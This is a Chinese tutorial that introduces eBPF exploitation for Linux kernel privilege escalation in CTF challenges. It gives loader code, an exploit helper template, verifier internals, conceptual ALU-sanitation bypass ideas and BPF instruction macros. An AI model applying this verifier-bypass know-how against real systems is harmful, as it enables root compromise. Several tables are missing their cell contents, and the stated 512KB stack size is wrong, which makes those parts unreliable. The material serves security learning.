万字长文:手把手带你入门 eBPF Pwn
介绍Pwn中如何通过 eBPF 模块漏洞实现 Linux 内核提权。详细分析了验证器(Verifier)的逻辑缺陷,利用该缺陷绕过安全检查,最终实现内核任意读写并获取 Root 权限。
基础知识
入门了解
//gcc ./bpf.c -o bpf
#include <stdio.h>
#include <stdlib.h> //为了exit()函数
#include <stdint.h> //为了uint64_t等标准类型的定义
#include <errno.h> //为了错误处理
#include <unistd.h>
#include <linux/bpf.h> //位于/usr/include/linux/bpf.h, 包含BPF系统调用的一些常量, 以及一些结构体的定义
#include <sys/syscall.h> //为了syscall()
//类型转换, 减少warning, 也可以不要
#define ptr_to_u64(x) ((uint64_t)x)
//对于系统调用的包装, __NR_bpf就是bpf对应的系统调用号, 一切BPF相关操作都通过这个系统调用与内核交互
int bpf(enum bpf_cmd cmd, union bpf_attr *attr, unsigned int size)
{
return syscall(__NR_bpf, cmd, attr, size);
}
//用于保存BPF验证器的输出日志
#define LOG_BUF_SIZE 0x1000
char bpf_log_buf[LOG_BUF_SIZE];
//通过系统调用, 向内核加载一段BPF指令
int bpf_prog_load(enum bpf_prog_type type, const struct bpf_insn* insns, int insn_cnt, const char* license)
{
union bpf_attr attr = {
.prog_type = type, //程序类型
.insns = ptr_to_u64(insns), //指向指令数组的指针
.insn_cnt = insn_cnt, //有多少条指令
.license = ptr_to_u64(license), //指向整数字符串的指针
.log_buf = ptr_to_u64(bpf_log_buf), //log输出缓冲区
.log_size = LOG_BUF_SIZE, //log缓冲区大小
.log_level = 2, //log等级
};
return bpf(BPF_PROG_LOAD, &attr, sizeof(attr));
}
//BPF程序就是一个bpf_insn数组, 一个struct bpf_insn代表一条bpf指令
struct bpf_insn bpf_prog[] = {
{ 0xb7, 0, 0, 0, 0x2 }, //初始化一个struct bpf_insn, 指令含义: mov r0, 0x2;
{ 0x95, 0, 0, 0, 0x0 }, //初始化一个struct bpf_insn, 指令含义: exit;
};
int main(void){
//加载一个bpf程序
int prog_fd = bpf_prog_load(BPF_PROG_TYPE_SOCKET_FILTER, bpf_prog, sizeof(bpf_prog)/sizeof(bpf_prog[0]), "GPL");
if(prog_fd<0){
perror("BPF load prog");
exit(-1);
}
printf("prog_fd: %d\n", prog_fd);
printf("%s\n", bpf_log_buf); //输出程序日志
}exp模板
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <syscall.h>
#include <linux/bpf.h>
#include <sys/socket.h>
#include "bpf_insn.h"
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
int bpf(int cmd, union bpf_attr *attr){
return syscall(__NR_bpf, cmd, attr, sizeof(*attr));
}
int bpf_prog_load(union bpf_attr *attr){
return bpf(BPF_PROG_LOAD, attr);
}
int bpf_map_create(uint32_t key_size, uint32_t value_size, uint32_t max_entries){
union bpf_attr attr = {
.map_type = BPF_MAP_TYPE_ARRAY,
.key_size = key_size,
.value_size = value_size,
.max_entries = max_entries
};
return bpf(BPF_MAP_CREATE, &attr);
}
int bpf_map_update_elem(int map_fd, uint64_t key, uint64_t* value, uint64_t flags){
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t) &key,
.value = (uint64_t) value,
.flags = flags
};
return bpf(BPF_MAP_UPDATE_ELEM, &attr);
}
uint64_t bpf_map_lookup_elem(int map_fd, uint32_t key, int index){
uint64_t value[0x150/8] = {};
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t) &key,
.value = (uint64_t) &value,
};
bpf(BPF_MAP_LOOKUP_ELEM, &attr);
return value[index];
}
uint64_t bpf_map_lookup_key(int map_fd, uint32_t key, void *value){
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t) &key,
.value = (uint64_t) value,
};
return bpf(BPF_MAP_LOOKUP_ELEM, &attr);
}
uint64_t bpf_map_update_key(int map_fd, uint32_t key, void *value, uint64_t flags){
// size_t modprobe_addr = kbase + modprobe_offset;
// bpf_map_update_elem(map_fd, 0, &modprobe_addr, BPF_ANY);
union bpf_attr attr = {
.map_fd = map_fd,
.key = (uint64_t) &key,
.value = (uint64_t) value,
.flags = flags
};
return bpf(BPF_MAP_UPDATE_ELEM, &attr);
}
uint64_t bpf_map_push(int map_fd, void *value, uint64_t flags){
union bpf_attr attr = {
.map_fd = map_fd,
.key = 0,
.value = (uint64_t) value,
.flags = flags
};
return bpf(BPF_MAP_UPDATE_ELEM, &attr);
}
union bpf_attr* create_bpf_prog(struct bpf_insn *insns, unsigned int insn_cnt){
union bpf_attr *attr = (union bpf_attr *) malloc(sizeof(union bpf_attr));
attr->prog_type = BPF_PROG_TYPE_SOCKET_FILTER;
attr->insn_cnt = insn_cnt;
attr->insns = (uint64_t) insns;
attr->license = (uint64_t)"";
return attr;
}
int socks[2] = {-1};
int attach_socket(int prog_fd){
if(socks[0] == -1 && socketpair(AF_UNIX, SOCK_DGRAM, 0, socks) < 0){
perror("socketpair");
exit(1);
}
if(setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &prog_fd, sizeof(prog_fd)) < 0){
perror("setsockopt");
exit(1);
}
}
void setup_bpf_prog(struct bpf_insn *insns, size_t insncnt){
union bpf_attr *prog = create_bpf_prog(insns, insncnt);
int prog_fd = bpf_prog_load(prog);
if(prog_fd < 0){
perror("prog_load");
exit(1);
}
attach_socket(prog_fd);
}
void run_bpf_prog(struct bpf_insn *insns, size_t insncnt){
int val = 0;
setup_bpf_prog(insns, insncnt);
write(socks[1], &val, sizeof(val));
}
void write_file(char* filename, char* content) {
int fd = open(filename, O_RDWR|O_CREAT);
if(fd<0) {
fprintf(stderr, "invalid open\n");
return;
}
write(fd, content, strlen(content));
close(fd);
return;
}
int main(){
}什么是ebpf
我们熟悉的seccomp就是一个被attach到系统调用的bpf程序,每次进行系统调用前都会执行这个bpf程序,禁掉一些系统调用
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009
0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILLebpf的作用不仅局限于此,它能够attach到内核里几乎任何地方,在内核中存取数据等等
但是,这个bpf程序是我们自己写的,它还会被放入内核,这是不安全的,所以我们写的bpf程序会通过ebpf verifier进行检查,才能被放入内核
其次,bpf程序有他的一套架构(寄存器,指令集这些),所以他要被编译(JIT compilier)成x86的汇编,才能被执行
如果ebpf verifier能被绕过,那我们就能把我们写的bpf程序attach到某个地方,然后执行它进行提权。这也是ebpf pwn学习的主要内容:绕过ebpf verifier的检查,进行提权。
题目类型
关于 ebpf 的 CVE 大部分都是关于 verifier,pwn中大概也是这样,也就是构造一个 inconsistent register (我习惯这么称呼,即verifier 认为是0,实际上是1的寄存器)
本文除了 seccon ctf 那道题是关于 JIT 的,其他都是关于 verifier 的
bpf程序架构
寄存器
eBPF 虚拟机一共有 11 个 64 位寄存器,一个程序计数器(PC)与一个固定大小的堆栈(通常为 512KB),在 x86 架构下的对应关系如下:
eBPF 寄存器 | 映射 x86_64 寄存器 | 用途 |
R0 | rax | 函数返回值 |
R1 | rdi | argv1 |
R2 | rsi | argv2 |
R3 | rdx | argv3 |
R4 | rcx | argv4 |
R5 | r8 | argv5 |
R6 | rbx | callee 保存 |
R7 | r13 | callee 保存 |
R8 | r14 | callee 保存 |
R9 | r15 | callee 保存 |
R10(只读) | rbp | 堆栈指针寄存器 |
verifier
verifier的主要工作包括:
- 验证结构,保证循环次数,不存在死循环(早期的内核禁止循环);清理
unreachable instructions - 模拟执行每一条指令,观察寄存器和栈状态的变化,确保不存越界读写等不安全行为
寄存器状态跟踪
状态类型
verifier会跟踪每个寄存器的状态,给每个寄存器分配一个struct bpf_reg_state,每个寄存器都有类型(type),类型可以分为以下三大类:
- 未初始化寄存器(not_init),还没经过赋值操作,使用会导致验证失败
- 标量寄存器(scalar_value),被赋予了整型值,能进行算数运算,不能作为指针进行内存访问
- 指针寄存器(pointer type),该寄存器为一个指针,verifier 会检查内存访问是否超出指针允许的范围
在代码中, bpf_reg_state 结构体中包括 {s,u}{min,max}_value 来记录有无符号下的最大最小值,并用一个 tnum 结构体来保存可能值:
struct bpf_reg_state {
...
struct tnum var_off;
s64 smin_value;
s64 smax_value;
u64 umin_value;
u64 umax_value;
...
}
struct tnum {
u64 value; // 某一 bit 为 1,则表示这个 bit 确定为 1
u64 mask; // 某一 bit 为 1,则表示这个 bit 的值不确定
}一些规则
- SCALAR 不能直接当指针用
- 允许
ptr + known_safe_offset,ptr + unknown_scalar之后不能解引用(要进行边界检查才能解引用) - ptr + ptr 禁止,
ptr - ptr有条件允许:如果两个指针指向同一个内存对象,Verifier 允许相减来计算距离(offset)。结果会变成SCALAR。但不同对象的指针相减是禁止的。 - pointer 不能做任意算术运算,Mul, Div, Mod, Shift, And, Or, Xor 对指针都是非法的。只有 Add/Sub (offset) 是合法的。
- ALU32 会 清零高 32 位 未初始化的寄存器 / stack 禁止使用(程序开始时,寄存器r1已经初始化为一个指针,类型为
PTR_TO_CTX) - 不能把一个内核指针(如
sk_buff的地址)直接存到 Map 里,让用户态读取。
verifier Log
R0, R1, R10...: 代表 BPF 的 10 个寄存器。w(如R0_w): 代表这个寄存器刚刚被 写入(Write) 了。P0, P1: 这里的P代表 Precise(精确值)。验证器确定这个寄存器在此时此刻一定是这个数。scalar: 代表这个寄存器存的是一个普通数字,不是指针。map_value: 代表这个寄存器存的是一个指向 BPF Map 数据的指针。var_off: 代表位状态(tnum)。例如(0x0; 0x1)表示:确定的位是 0,不确定的位只有最后 1 位。
--- Verifier Log (Success) ---
func#0 @0
0: R1=ctx() R10=fp0
0: (62) *(u32 *)(r10 -4) = 0 ; R10=fp0 fp-8=0000????
1: (bf) r2 = r10 ; R2_w=fp0 R10=fp0
2: (07) r2 += -4 ; R2_w=fp-4
3: (18) r1 = 0x0 ; R1_w=map_ptr(ks=4,vs=8)
5: (85) call bpf_map_lookup_elem#1 ; R0_w=map_value_or_null(id=1,ks=4,vs=8)
6: (55) if r0 != 0x0 goto pc+1 ; R0_w=P0
7: (95) exit
from 6 to 8: R0=map_value(ks=4,vs=8) R10=fp0 fp-8=mmmm????
8: R0=map_value(ks=4,vs=8) R10=fp0 fp-8=mmmm????
8: (bf) r6 = r0 ; R0=map_value(ks=4,vs=8) R6_w=map_value(ks=4,vs=8)
9: (b7) r0 = 0 ; R0_w=P0
10: (79) r7 = *(u64 *)(r6 +0) ; R6_w=map_value(ks=4,vs=8) R7_w=Pscalar()
11: (57) r7 &= 1 ; R7_w=Pscalar(smin=smin32=0,smax=umax=smax32=umax32=1,var_off=(0x0; 0x1))
12: (b7) r8 = 1 ; R8_w=P1
13: (cf) r8 s>>= r7 ; R7_w=Pscalar(smin=smin32=0,smax=umax=smax32=umax32=1,var_off=(0x0; 0x1)) R8_w1
14: (b7) r9 = 1 ; R9_w=P1
15: (1f) r9 -= r8 ; R8_w=P1 R9_w=P0
16: (27) r9 *= 272 ; R9_w=P0
17: (bf) r7 = r6 ; R6_w=map_value(ks=4,vs=8) R7_w=map_value(ks=4,vs=8)
18: (1f) r7 -= r9 ; R7_w=map_value(ks=4,vs=8) R9_w=P0
19: (79) r8 = *(u64 *)(r7 +0) ; R7_w=map_value(ks=4,vs=8) R8_w=Pscalar()
20: (7b) *(u64 *)(r6 +0) = r8 ; R6_w=map_value(ks=4,vs=8) R8_w=Pscalar()
21: (b7) r0 = 0 ; R0_w=P0
22: (95) exitALU Sanitation
低版本
在对一个指针类型寄存器进行加减某个offset时,一些指令会被加上去 ,验证offset的合法性,也就是保证这个指针的活动范围
BPF_MOV32_IMM(BPF_REG_AX, aux->alu_limit - 1); // -1 in old kernel versions
BPF_ALU64_REG(BPF_SUB, BPF_REG_AX, off_reg);
BPF_ALU64_REG(BPF_OR, BPF_REG_AX, off_reg);
BPF_ALU64_IMM(BPF_NEG, BPF_REG_AX, 0);
BPF_ALU64_IMM(BPF_ARSH, BPF_REG_AX, 63);
BPF_ALU64_REG(BPF_AND, BPF_REG_AX, off_reg);简单来说,指针类型寄存器有一个活动范围,指向栈的寄存器活动范围就在栈中,不能通过加减某个offset从而指到别的地方去
绕过ALU Sanitation分两种情况:
- 如果有一个指针指向
0x1000,它允许最大指向0x1500,最小指向0x500。通过了某些漏洞,我们让verifier认为这个指针还是0x1000,但是它实际上是0x500,那么这个寄存器实际上的活动范围就是0 - 0x1000,能够越界读到前面的东西 - 当这个指针已经在它活动范围的边界的时候,上面的这串指令又把边界减去了1(aux->alu_limit - 1),这就导致了无符号数的回绕,边界变成了
0xFFFFFFFF,这样我们就能让这个指针指向很大一个范围了
高版本
低于v5.11.17版本,可以将一个指针加减corrupt register从而进行越界读写
但是,内核v5.11.17引入了这个commit,对 ALU Sanitation 进行了进一步的加强,使得我们不能直接将 corrupt register 直接与指针进行运算进行越界
因此,高版本需要利用bpf_skb_load_bytes
- bpf_reg_state:维护了BPF寄存器的状态。
struct bpf_reg_state {
/* 各字段的顺序是重要的. 参见 states_equal() */
enum bpf_reg_type type;
/* 指针偏移的固定部分, 仅指针类型 */
s32 off;
union {
/* 当 type == PTR_TO_PACKET 时可用 */
int range;
/* 当 type == CONST_PTR_TO_MAP | PTR_TO_MAP_VALUE |
* PTR_TO_MAP_VALUE_OR_NULL 时可用
*/
struct {
struct bpf_map *map_ptr;
/* 为了从外部映射中区分映射查找
* map_uid 对于指向内部映射的寄存器为非 0 值
*/
u32 map_uid;
};
/* for PTR_TO_BTF_ID */
struct {
struct btf *btf;
u32 btf_id;
};
struct { /* for PTR_TO_MEM | PTR_TO_MEM_OR_NULL */
u32 mem_size;
u32 dynptr_id; /* for dynptr slices */
};
/* For dynptr stack slots */
struct {
enum bpf_dynptr_type type;
/* 一个 dynptr 为 16 字节, 故其占用 2 个 stack slots.
* 我们需要追踪哪一个 slot 为第一个防止用户可能尝试传入一个从
* dynptr 的第二个 slot 开始的地址的情况的 slot.
*/
bool first_slot;
} dynptr;
/* 以上任意一个的最大尺寸. */
struct {
unsigned long raw1;
unsigned long raw2;
} raw;
u32 subprogno; /* for PTR_TO_FUNC */
};
/* 对于标量类型 (SCALAR_VALUE), 其表示我们对实际值的了解.
* 对于指针类型, 其表示从被指向对象的偏移的可变部分,
* 且同与我们有相同 id 的所有 bpf_reg_states 共享.
*/
struct tnum var_off;
/* 被用于确定任何使用该寄存器的内存访问是否将导致一个坏的访问.
* These refer to the same value as var_off, not necessarily the actual
* contents of the register.
*/
s64 smin_value; /* 最小可能值 (s64) */
s64 smax_value; /* 最大可能值 (s64) */
u64 umin_value; /* 最小可能值 (u64) */
u64 umax_value; /* 最大可能值 (u64) */
s32 s32_min_value; /* 最小可能值 (s32) */
s32 s32_max_value; /* 最大可能值 (s32) */
u32 u32_min_value; /* 最小可能值 (u32) */
u32 u32_max_value; /* 最大可能值 (u32) */
/* 对于 PTR_TO_PACKET, 用以找到有着相同变量偏移的其他指针,
* 由此他们可以共享范围信息.
* 对于 PTR_TO_MAP_VALUE_OR_NULL 其被用于共享我们来自哪一个映射值
* 当其一被测试于 != NULL.
* 对于 PTR_TO_MEM_OR_NULL 其被用于辨识内存分配以追踪其释放.
* 对于 PTR_TO_SOCKET 其被用于共享哪一个指针保留了对 socket 的相同引用,
* 以确定合适的引用释放.
* 对于作为 dynptrs 的 stack slots, 其被用于追踪对 dynptr的引用
* 以确定合适的引用释放.
*/
u32 id;
/* PTR_TO_SOCKET 与 PTR_TO_TCP_SOCK 可以为一个返回自一个 pointer-cast helper
* bpf_sk_fullsock() 与 bpf_tcp_sock() 的指针 .
*
* 考虑如下情况, "sk" 为一个返回自 "sk = bpf_sk_lookup_tcp();" 的引用计数指针:
*
* 1: sk = bpf_sk_lookup_tcp();
* 2: if (!sk) { return 0; }
* 3: fullsock = bpf_sk_fullsock(sk);
* 4: if (!fullsock) { bpf_sk_release(sk); return 0; }
* 5: tp = bpf_tcp_sock(fullsock);
* 6: if (!tp) { bpf_sk_release(sk); return 0; }
* 7: bpf_sk_release(sk);
* 8: snd_cwnd = tp->snd_cwnd; // verifier 将抗议
*
* 在第 7 行的 bpf_sk_release(sk) 之后, "fullsock" 指针与
* "tp" 指针都应当被无效化. 为了这么做, 保存 "fullsock" 与 "sk"
* 的寄存器需要记住在 ref_obj_id 中的原始引用计数指针 id(即, sk_reg->id)
* 这样 verifier 便能重置所有 ref_obj_id 匹配 sk_reg->id 的寄存器
*
* sk_reg->ref_obj_id 在第 1 行被设为 sk_reg->id.
* sk_reg->id 将仅作为 NULL-marking 的目的保持.
* 在 NULL-marking 完成后, sk_reg->id 可以被重置为 0.
*
* 在第 3 行的 "fullsock = bpf_sk_fullsock(sk);" 之后,
* fullsock_reg->ref_obj_id 被设为 sk_reg->ref_obj_id.
*
* 在第 5 行的 "tp = bpf_tcp_sock(fullsock);" 之后,
* tp_reg->ref_obj_id 被设为 fullsock_reg->ref_obj_id
* 与 sk_reg->ref_obj_id 一致.
*
* 从 verifier 的角度而言, 若 sk, fullsock 与 tp 都非 NULL,
* 他们为有着不同 reg->type 的相同指针.
* 特别地, bpf_sk_release(tp) 也被允许且有着与 bpf_sk_release(sk)
* 相同的影响.
*/
u32 ref_obj_id;
/* 用于存活检查的亲子链 */
struct bpf_reg_state *parent;
/* 在被调用方中两个寄存器可以同时为 PTR_TO_STACK 如同 R1=fp-8 与 R2=fp-8,
* 但其一指向该函数栈而另一指向调用方的栈. 为了区分他们 'frameno' 被使用,
* 其为一个指向 bpf_func_state 的 bpf_verifier_state->frame[] 数组中的下标.
*/
u32 frameno;
/* 追踪子寄存器(subreg)定义. 保存的值为写入 insn 的 insn_idx.
* 这是安全的因为 subreg_def 在任何仅在主校验结束后发生的 insn 修补前被使用.
*/
s32 subreg_def;
enum bpf_reg_liveness live;
/* if (!precise && SCALAR_VALUE) min/max/tnum don't affect safety */
bool precise;
};- bpf_reg_type
/* types of values stored in eBPF registers */
/* Pointer types represent:
* pointer
* pointer + imm
* pointer + (u16) var
* pointer + (u16) var + imm
* if (range > 0) then [ptr, ptr + range - off) is safe to access
* if (id > 0) means that some 'var' was added
* if (off > 0) means that 'imm' was added
*/
enum bpf_reg_type {
NOT_INIT = 0, /* nothing was written into register */
SCALAR_VALUE, /* reg doesn't contain a valid pointer */
PTR_TO_CTX, /* reg points to bpf_context */
CONST_PTR_TO_MAP, /* reg points to struct bpf_map */
PTR_TO_MAP_VALUE, /* reg points to map element value */
PTR_TO_MAP_VALUE_OR_NULL,/* points to map elem value or NULL */
PTR_TO_STACK, /* reg == frame_pointer + offset */
PTR_TO_PACKET_META, /* skb->data - meta_len */
PTR_TO_PACKET, /* reg points to skb->data */
PTR_TO_PACKET_END, /* skb->data + headlen */
PTR_TO_FLOW_KEYS, /* reg points to bpf_flow_keys */
PTR_TO_SOCKET, /* reg points to struct bpf_sock */
PTR_TO_SOCKET_OR_NULL, /* reg points to struct bpf_sock or NULL */
PTR_TO_SOCK_COMMON, /* reg points to sock_common */
PTR_TO_SOCK_COMMON_OR_NULL, /* reg points to sock_common or NULL */
PTR_TO_TCP_SOCK, /* reg points to struct tcp_sock */
PTR_TO_TCP_SOCK_OR_NULL, /* reg points to struct tcp_sock or NULL */
PTR_TO_TP_BUFFER, /* reg points to a writable raw tp's buffer */
PTR_TO_XDP_SOCK, /* reg points to struct xdp_sock */
PTR_TO_BTF_ID, /* reg points to kernel struct */
};- struct tnum
当reg是一个具体的数值(范围值),本结构代表真正的值。
当reg是一个指针,这代表了到被指向对象的偏移量。
struct tnum {
u64 value;
u64 mask;
};
#define TNUM(_v, _m) (struct tnum){.value = _v, .mask = _m}
/* A completely unknown value */
const struct tnum tnum_unknown = { .value = 0, .mask = -1 };指令编写
在内核源码目录中定义了samples/bpf/bpf_insn.h,可以使用其中的宏指令来编写,比起直接用常数写,简化了很多
使用的时候,include进去即可。(这里加了个BPF_CALL_FUNC)
/* SPDX-License-Identifier: (GPL-2.0-only OR BSD-2-Clause) */
/* eBPF instruction mini library */
#ifndef __BPF_INSN_H
#define __BPF_INSN_H
struct bpf_insn;
/* ALU ops on registers, bpf_add|sub|...: dst_reg += src_reg */
#define BPF_ALU64_REG(OP, DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_OP(OP) | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })
#define BPF_ALU32_REG(OP, DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_OP(OP) | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })
/* ALU ops on immediates, bpf_add|sub|...: dst_reg += imm32 */
#define BPF_ALU64_IMM(OP, DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_ALU32_IMM(OP, DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
/* Short form of mov, dst_reg = src_reg */
#define BPF_MOV64_REG(DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })
#define BPF_MOV32_REG(DST, SRC) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_MOV | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = 0 })
/* Short form of mov, dst_reg = imm32 */
#define BPF_MOV64_IMM(DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU64 | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
#define BPF_MOV32_IMM(DST, IMM) \
((struct bpf_insn) { \
.code = BPF_ALU | BPF_MOV | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
/* BPF_LD_IMM64 macro encodes single 'load 64-bit immediate' insn */
#define BPF_LD_IMM64(DST, IMM) \
BPF_LD_IMM64_RAW(DST, 0, IMM)
#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \
((struct bpf_insn) { \
.code = BPF_LD | BPF_DW | BPF_IMM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = 0, \
.imm = (__u32) (IMM) }), \
((struct bpf_insn) { \
.code = 0, /* zero is reserved opcode */ \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = ((__u64) (IMM)) >> 32 })
#ifndef BPF_PSEUDO_MAP_FD
# define BPF_PSEUDO_MAP_FD 1
#endif
/* pseudo BPF_LD_IMM64 insn used to refer to process-local map_fd */
#define BPF_LD_MAP_FD(DST, MAP_FD) \
BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
/* Direct packet access, R0 = *(uint *) (skb->data + imm32) */
#define BPF_LD_ABS(SIZE, IMM) \
((struct bpf_insn) { \
.code = BPF_LD | BPF_SIZE(SIZE) | BPF_ABS, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = IMM })
/* Memory load, dst_reg = *(uint *) (src_reg + off16) */
#define BPF_LDX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_LDX | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })
/* Memory store, *(uint *) (dst_reg + off16) = src_reg */
#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })
/*
* Atomic operations:
*
* BPF_ADD *(uint *) (dst_reg + off16) += src_reg
* BPF_AND *(uint *) (dst_reg + off16) &= src_reg
* BPF_OR *(uint *) (dst_reg + off16) |= src_reg
* BPF_XOR *(uint *) (dst_reg + off16) ^= src_reg
* BPF_ADD | BPF_FETCH src_reg = atomic_fetch_add(dst_reg + off16, src_reg);
* BPF_AND | BPF_FETCH src_reg = atomic_fetch_and(dst_reg + off16, src_reg);
* BPF_OR | BPF_FETCH src_reg = atomic_fetch_or(dst_reg + off16, src_reg);
* BPF_XOR | BPF_FETCH src_reg = atomic_fetch_xor(dst_reg + off16, src_reg);
* BPF_XCHG src_reg = atomic_xchg(dst_reg + off16, src_reg)
* BPF_CMPXCHG r0 = atomic_cmpxchg(dst_reg + off16, r0, src_reg)
*/
#define BPF_ATOMIC_OP(SIZE, OP, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_STX | BPF_SIZE(SIZE) | BPF_ATOMIC, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = OP })
/* Legacy alias */
#define BPF_STX_XADD(SIZE, DST, SRC, OFF) BPF_ATOMIC_OP(SIZE, BPF_ADD, DST, SRC, OFF)
/* Memory store, *(uint *) (dst_reg + off16) = imm32 */
#define BPF_ST_MEM(SIZE, DST, OFF, IMM) \
((struct bpf_insn) { \
.code = BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM })
/* Conditional jumps against registers, if (dst_reg 'op' src_reg) goto pc + off16 */
#define BPF_JMP_REG(OP, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_OP(OP) | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })
/* Like BPF_JMP_REG, but with 32-bit wide operands for comparison. */
#define BPF_JMP32_REG(OP, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_JMP32 | BPF_OP(OP) | BPF_X, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })
/* Conditional jumps against immediates, if (dst_reg 'op' imm32) goto pc + off16 */
#define BPF_JMP_IMM(OP, DST, IMM, OFF) \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM })
/* Like BPF_JMP_IMM, but with 32-bit wide operands for comparison. */
#define BPF_JMP32_IMM(OP, DST, IMM, OFF) \
((struct bpf_insn) { \
.code = BPF_JMP32 | BPF_OP(OP) | BPF_K, \
.dst_reg = DST, \
.src_reg = 0, \
.off = OFF, \
.imm = IMM })
#define BPF_CALL_FUNC(FUNC) \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_CALL | BPF_K, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = FUNC })
/* Raw code statement block */
#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \
((struct bpf_insn) { \
.code = CODE, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = IMM })
/* Program exit */
#define BPF_EXIT_INSN() \
((struct bpf_insn) { \
.code = BPF_JMP | BPF_EXIT, \
.dst_reg = 0, \
.src_reg = 0, \
.off = 0, \
.imm = 0 })
#endifALU类
宏名称 | 逻辑 | 说明 | 代码示例 |
|
| 64位寄存器间运算 |
|
|
| 32位寄存器间运算 |
|
|
| 64位寄存器与立即数 |
|
|
| 32位寄存器与立即数 |
|
常见 OP:
BPF_ADD / SUB / MUL / DIV / AND / OR / XOR / LSH / RSH / ARSHALU32 一定会清零 dst 的高 32 位
赋值类
宏名称 | 逻辑 | 说明 | 代码示例 |
|
| 64位寄存器拷贝 |
|
|
| 32位寄存器拷贝 |
|
|
| 立即数存入64位寄存器 |
|
|
| 立即数存入32位寄存器 |
|
内存读写类
宏名称 | 逻辑 | 说明 | 代码示例 |
|
| Load: 内存 -> 寄存器 |
|
|
| Store: 寄存器 -> 内存 |
|
|
| Store: 立即数 -> 内存 |
|
|
| 加载 64 位超长立即数 |
|
|
| 将 Map 的 FD 转为内存地址 |
|
- BPF_DW:8bytes
- BPF_W:4bytes
- BPF_H:2bytes
- BPF_B:1bytes
跳转指令
宏名称 | 逻辑 | 说明 | 代码示例 |
|
| 寄存器间比较跳转 |
|
|
| 寄存器与常数比较跳转 |
|
|
| 调用内核辅助函数 |
|
OP:
宏 | 值 | 含义 |
| 0x10 | 相等时跳转 |
| 0x50 | 不相等时跳转 |
| 0x20 | 大于(无符号) |
| 0x30 | 大于等于(无符号) |
| 0xa0 | 小于(无符号) |
| 0xb0 | 小于等于(无符号) |
其他指令
宏名称 | 逻辑 | 说明 | 代码示例 |
|
| 结束程序 |
|
|
| 手动填充原生指令所有字段 |
|
|
| 原子加法 |
|
注意
调用完 helper_function 要确保它返回的不是0
BPF_CALL_FUNC(BPF_FUNC_map_lookup_elem),
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),bpf 程序末尾要加上:
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),proc接口
/proc/sys/net/core/bpf_jit_enable可以检查 bpf 能不能被 JIT
- Values:
- 0 - disable the JIT (default value)
- 1 - enable the JIT
- 2 - enable the JIT and ask the compiler to emit traces on kernel log.
